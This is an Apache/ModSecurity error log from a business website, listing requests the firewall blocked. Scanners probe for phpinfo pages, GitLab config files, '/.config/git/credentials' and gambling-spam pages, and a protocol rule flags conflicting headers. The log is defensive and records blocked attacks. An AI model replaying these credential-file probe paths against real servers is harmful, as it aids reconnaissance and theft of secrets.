[Fri Feb 06 15:32:02.834232 2026] [:error] [pid 3382:tid 3446] [client 3.113.181.128:49840] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.html"] [unique_id "aYWY8sIgU1HR0rhYrE_i0AAAAIY"]
[Fri Feb 06 15:32:03.313667 2026] [:error] [pid 3382:tid 3458] [client 3.113.181.128:49842] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php~"] [unique_id "aYWY88IgU1HR0rhYrE_i4QAAAJI"]
[Fri Feb 06 15:32:03.795006 2026] [:error] [pid 3513:tid 3518] [client 3.113.181.128:49848] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.save"] [unique_id "aYWY8zSw3-HAlzpqSxx46wAAAUM"]
[Fri Feb 06 15:32:04.275291 2026] [:error] [pid 3380:tid 3385] [client 3.113.181.128:49856] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/info.php"] [unique_id "aYWY9BFAlUvBGSBK2jcEtwAAAAE"]
[Fri Feb 06 15:32:04.756713 2026] [:error] [pid 3380:tid 3401] [client 3.113.181.128:49864] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/phpinfo.php"] [unique_id "aYWY9BFAlUvBGSBK2jcEuwAAABE"]
[Fri Feb 06 15:32:05.240087 2026] [:error] [pid 3513:tid 3515] [client 3.113.181.128:49866] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/phpinfo.php"] [unique_id "aYWY9TSw3-HAlzpqSxx4-wAAAUA"]
[Fri Feb 06 15:32:05.721493 2026] [:error] [pid 3380:tid 3384] [client 3.113.181.128:49876] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v1/phpinfo.php"] [unique_id "aYWY9RFAlUvBGSBK2jcEvwAAAAA"]
[Fri Feb 06 15:32:06.201691 2026] [:error] [pid 3513:tid 3533] [client 3.113.181.128:49880] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2/phpinfo.php"] [unique_id "aYWY9jSw3-HAlzpqSxx5AgAAAVI"]
[Fri Feb 06 15:32:06.680061 2026] [:error] [pid 3382:tid 3453] [client 3.113.181.128:49884] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.gitlab-ci.yml"] [unique_id "aYWY9sIgU1HR0rhYrE_jBwAAAI0"]
[Fri Feb 06 15:32:07.156554 2026] [:error] [pid 3381:tid 3427] [client 3.113.181.128:49894] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.gitlab/config"] [unique_id "aYWY9y81zqRg96ZREggGJwAAAE4"]
[Fri Feb 06 15:32:07.635051 2026] [:error] [pid 3513:tid 3537] [client 3.113.181.128:49900] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gitlab/config"] [unique_id "aYWY9zSw3-HAlzpqSxx5BwAAAVY"]
[Fri Feb 06 15:32:08.114692 2026] [:error] [pid 3380:tid 3400] [client 3.113.181.128:49912] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config/gitlab.json"] [unique_id "aYWY-BFAlUvBGSBK2jcEzQAAABA"]
[Fri Feb 06 15:32:08.596004 2026] [:error] [pid 3513:tid 3531] [client 3.113.181.128:49920] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.config/git/config"] [unique_id "aYWY-DSw3-HAlzpqSxx5CgAAAVA"]
[Fri Feb 06 15:32:09.073194 2026] [:error] [pid 3381:tid 3426] [client 3.113.181.128:49930] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.config/git/credentials"] [unique_id "aYWY-S81zqRg96ZREggGLQAAAE0"]
[Fri Feb 06 15:32:10.061561 2026] [:error] [pid 3513:tid 3527] [client 3.113.181.128:49954] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/style.css"] [unique_id "aYWY-jSw3-HAlzpqSxx5DgAAAUw"]
[Fri Feb 06 15:32:10.543899 2026] [:error] [pid 3381:tid 3413] [client 3.113.181.128:49962] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/Ionicons/css/ionicons.min.css"] [unique_id "aYWY-i81zqRg96ZREggGNQAAAEA"]
[Fri Feb 06 15:32:11.125959 2026] [:error] [pid 3513:tid 3519] [client 3.113.181.128:49970] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/font-awesome/css/font-awesome.min.css"] [unique_id "aYWY-zSw3-HAlzpqSxx5FAAAAUQ"]
[Fri Feb 06 15:32:11.605914 2026] [:error] [pid 3513:tid 3528] [client 3.113.181.128:49980] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/responsive.css"] [unique_id "aYWY-zSw3-HAlzpqSxx5GgAAAU0"]
[Fri Feb 06 15:32:12.084544 2026] [:error] [pid 3380:tid 3387] [client 3.113.181.128:49990] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/animate.css"] [unique_id "aYWY_BFAlUvBGSBK2jcE2wAAAAM"]
[Fri Feb 06 15:32:12.562125 2026] [:error] [pid 3513:tid 3531] [client 3.113.181.128:54210] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/skins/_all-skins.min.css"] [unique_id "aYWY_DSw3-HAlzpqSxx5HwAAAVA"]
[Fri Feb 06 15:32:13.042570 2026] [:error] [pid 3380:tid 3407] [client 3.113.181.128:54220] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/AdminLTE.min.css"] [unique_id "aYWY_RFAlUvBGSBK2jcE6AAAABc"]
[Fri Feb 06 15:32:13.519054 2026] [:error] [pid 3381:tid 3418] [client 3.113.181.128:54234] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/iCheck/all.css"] [unique_id "aYWY_S81zqRg96ZREggGRAAAAEU"]
[Fri Feb 06 15:32:13.997695 2026] [:error] [pid 3513:tid 3520] [client 3.113.181.128:54240] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/select2/dist/css/select2.min.css"] [unique_id "aYWY_TSw3-HAlzpqSxx5JgAAAUU"]
[Fri Feb 06 15:32:14.477629 2026] [:error] [pid 3477:tid 3495] [client 3.113.181.128:54246] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/animation.css"] [unique_id "aYWY_rL0Hdh40C7HYgULBAAAANA"]
[Fri Feb 06 17:43:12.219069 2026] [ssl:error] [pid 3380:tid 3384] [client 3.139.242.79:44260] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Fri Feb 06 19:30:15.336910 2026] [:error] [pid 36928:tid 36949] [client 43.130.14.245:49004] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYXQx5s7fyU8D36r-OpjEQAAAdE"]
[Fri Feb 06 21:04:59.461035 2026] [:error] [pid 36857:tid 36863] [client 51.75.119.165:44508] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYXm-5VQwfj7Kp4Dd0HxGAAAAYQ"]
[Fri Feb 06 21:05:01.914681 2026] [:error] [pid 3477:tid 3493] [client 51.75.119.165:38048] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYXm_bL0Hdh40C7HYgVyoQAAAM4"]
[Fri Feb 06 21:05:04.317169 2026] [:error] [pid 3380:tid 3395] [client 51.75.119.165:38054] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYXnABFAlUvBGSBK2jdmMgAAAAs"]
[Fri Feb 06 21:05:06.948878 2026] [:error] [pid 3382:tid 3460] [client 51.75.119.165:38068] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYXnAsIgU1HR0rhYrE9T0gAAAJQ"]
[Fri Feb 06 21:05:09.350872 2026] [:error] [pid 3382:tid 3459] [client 51.75.119.165:38074] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYXnBcIgU1HR0rhYrE9T1gAAAJM"]
[Fri Feb 06 21:05:11.969716 2026] [:error] [pid 3382:tid 3455] [client 51.75.119.165:44468] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYXnB8IgU1HR0rhYrE9T2wAAAI8"]
[Fri Feb 06 21:05:14.564847 2026] [:error] [pid 3477:tid 3496] [client 51.75.119.165:44472] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYXnCrL0Hdh40C7HYgVyqgAAANE"]
[Fri Feb 06 21:05:16.974144 2026] [:error] [pid 46432:tid 46436] [client 51.75.119.165:44482] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYXnDAbwJwu_od0kZjMo0QAAAkI"]
[Fri Feb 06 21:05:19.380106 2026] [:error] [pid 3477:tid 3480] [client 51.75.119.165:44488] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYXnD7L0Hdh40C7HYgVysgAAAME"]
[Fri Feb 06 21:05:21.959373 2026] [:error] [pid 15821:tid 15836] [client 51.75.119.165:33556] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYXnEXARQa67J4c772kMkgAAAQs"]
[Fri Feb 06 21:05:24.475197 2026] [:error] [pid 3477:tid 3500] [client 51.75.119.165:33564] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYXnFLL0Hdh40C7HYgVywgAAANU"]
[Fri Feb 06 21:05:27.061954 2026] [:error] [pid 3477:tid 3487] [client 51.75.119.165:33576] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYXnF7L0Hdh40C7HYgVyywAAAMg"]
[Fri Feb 06 21:05:29.620666 2026] [:error] [pid 3477:tid 3495] [client 51.75.119.165:33578] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYXnGbL0Hdh40C7HYgVy1QAAANA"]
[Fri Feb 06 21:05:32.040598 2026] [:error] [pid 37019:tid 37026] [client 51.75.119.165:51248] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYXnHAkAjqd3bcgYBrtlWQAAAgU"]
[Fri Feb 06 21:05:34.427618 2026] [:error] [pid 3382:tid 3452] [client 51.75.119.165:51260] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYXnHsIgU1HR0rhYrE9T8wAAAIw"]
[Fri Feb 06 21:05:36.831669 2026] [:error] [pid 15821:tid 15832] [client 51.75.119.165:51264] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYXnIHARQa67J4c772kMmQAAAQc"]
[Fri Feb 06 21:05:39.242934 2026] [:error] [pid 46432:tid 46438] [client 51.75.119.165:51276] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYXnIwbwJwu_od0kZjMo5gAAAkQ"]
[Fri Feb 06 21:05:41.783841 2026] [:error] [pid 3382:tid 3460] [client 51.75.119.165:36870] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYXnJcIgU1HR0rhYrE9T-wAAAJQ"]
[Fri Feb 06 21:05:44.281414 2026] [:error] [pid 3513:tid 3534] [client 51.75.119.165:36872] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYXnKDSw3-HAlzpqSxzSOwAAAVM"]
[Fri Feb 06 21:05:46.799736 2026] [:error] [pid 3382:tid 3452] [client 51.75.119.165:36878] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYXnKsIgU1HR0rhYrE9UBQAAAIw"]
[Fri Feb 06 21:05:49.290262 2026] [:error] [pid 3382:tid 3462] [client 51.75.119.165:36894] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYXnLcIgU1HR0rhYrE9UCgAAAJY"]
[Fri Feb 06 21:05:51.813812 2026] [:error] [pid 3382:tid 3452] [client 51.75.119.165:34810] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYXnL8IgU1HR0rhYrE9UDwAAAIw"]
[Fri Feb 06 21:05:54.325334 2026] [:error] [pid 37019:tid 37030] [client 51.75.119.165:34824] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYXnMgkAjqd3bcgYBrtlaQAAAgk"]
[Fri Feb 06 21:05:56.847324 2026] [:error] [pid 3382:tid 3447] [client 51.75.119.165:34838] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYXnNMIgU1HR0rhYrE9UHAAAAIc"]
[Fri Feb 06 21:06:17.760178 2026] [:error] [pid 3477:tid 3481] [client 51.75.119.165:34840] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYXnSbL0Hdh40C7HYgVy-QAAAMI"]
[Fri Feb 06 21:06:20.290677 2026] [:error] [pid 46432:tid 46456] [client 51.75.119.165:44724] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYXnTAbwJwu_od0kZjMpCwAAAlY"]
[Fri Feb 06 21:06:22.799259 2026] [:error] [pid 46432:tid 46457] [client 51.75.119.165:53578] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYXnTgbwJwu_od0kZjMpDwAAAlc"]
[Fri Feb 06 21:06:25.345647 2026] [:error] [pid 37019:tid 37021] [client 51.75.119.165:53582] [client 51.75.119.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYXnUQkAjqd3bcgYBrtlfwAAAgA"]
